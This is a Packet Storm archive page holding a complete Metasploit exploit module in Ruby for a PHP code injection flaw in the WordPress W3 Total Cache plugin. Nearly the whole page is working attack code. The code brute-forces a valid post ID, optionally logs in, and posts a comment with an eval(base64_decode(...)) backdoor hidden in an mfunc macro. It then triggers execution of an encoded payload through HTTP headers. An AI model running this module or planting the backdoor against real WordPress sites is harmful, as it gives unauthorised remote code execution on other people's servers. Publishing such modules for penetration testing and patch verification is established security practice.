what you don't know can hurt you

Wordpress W3 Total Cache PHP Code Execution

Wordpress W3 Total Cache PHP Code Execution
Posted Apr 29, 2013
Authored by H D Moore, juan vazquez, temp66, Christian Mehlmauer | Site metasploit.com

This Metasploit module exploits a PHP Code Injection vulnerability against Wordpress plugin W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older is also reported as vulnerable. The vulnerability is due to the handling of certain macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is needed in order to add the malicious comment. If the POSTID option isn't specified, then the module will automatically bruteforce one. Also, if anonymous comments aren't allowed, then a valid username and password must be provided. In addition, the "A comment is held for moderation" option on Wordpress must be unchecked for successful exploitation. This Metasploit module has been tested against Wordpress 3.5 and W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.

tags | exploit, arbitrary, php
systems | linux, ubuntu
advisories | OSVDB-92652
MD5 | 170014b6ed1d82d111127c7bec507a9d

Wordpress W3 Total Cache PHP Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
'Description' => %q{
This module exploits a PHP Code Injection vulnerability against Wordpress plugin
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on Wordpress must be unchecked for
successful exploitation. This module has been tested against Wordpress 3.5 and
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez', # Metasploit module
'hdm', # Metasploit module
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92652' ],
[ 'BID', '59316' ],
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Wordpress 3.5', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 17 2013'
))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end

def peer
return "#{rhost}:#{rport}"
end

def require_auth?
@user = datastore['USERNAME']
@password = datastore['PASSWORD']

if @user and @password and not @user.empty? and not @password.empty?
return true
else
return false
end
end

def get_session_cookie(header)
header.split(";").each { |cookie|
cookie.split(" ").each { |word|
if word =~ /(.*logged_in.*)=(.*)/
return $1, $2
end
}
}
return nil, nil
end

def login
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "wp-login.php"),
'method' => 'POST',
'vars_post' => {
'log' => @user,
'pwd' => @password
}
})

if res and res.code == 302 and res.headers['Set-Cookie']
return get_session_cookie(res.headers['Set-Cookie'])
else
return nil, nil
end

end

def check_post_id(uri)
options = {
'method' => 'GET',
'uri' => uri
}
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
res = send_request_cgi(options)
if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
return true
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
location = URI(res.headers["Location"])
uri = location.path
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
return check_post_id(uri)
end
return false
end

def find_post_id
(1..1000).each{|id|
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
return id if res
}
return nil
end

def post_comment
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"

vars_post = {
'comment' => php_payload,
'submit' => 'Post+Comment',
'comment_post_ID' => "#{@post_id}",
'comment_parent' => "0"
}
vars_post.merge!({
'author' => rand_text_alpha(8),
'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
'url' => rand_text_alpha(8),
}) unless @auth

options = {
'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
'method' => 'POST'
}
options.merge!({'vars_post' => vars_post})
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth

res = send_request_cgi(options)
if res and res.code == 302
location = URI(res.headers["Location"])
uri = location.path
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
return uri
else
return nil
end
end

def exploit

@auth = require_auth?

if @auth
print_status("#{peer} - Trying to login...")
@cookie_name, @cookie_value = login
if @cookie_name.nil? or @cookie_value.nil?
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")
end
else
print_status("#{peer} - Trying unauthenticated exploitation...")
end

if datastore['POSTID'] and datastore['POSTID'] != 0
@post_id = datastore['POSTID']
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else
print_status("#{peer} - Trying to brute force a valid POST ID...")
@post_id = find_post_id
if @post_id.nil?
fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
end
end

random_test = rand_text_alpha(64)
@sum = Rex::Text.sha1(random_test)

print_status("#{peer} - Injecting the PHP Code in a comment...")
post_uri = post_comment
if post_uri.nil?
fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")
end

print_status("#{peer} - Executing the payload...")
options = {
'method' => 'GET',
'uri' => post_uri,
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded),
'Sum' => random_test
}
}
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
res = send_request_cgi(options)
if res and res.code == 301
fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
end
end

def check
res = send_request_cgi ({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})

if res.nil?
return Exploit::CheckCode::Unknown
end

if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
version = $1
if version <= "0.9.2.8"
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown

end
end
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close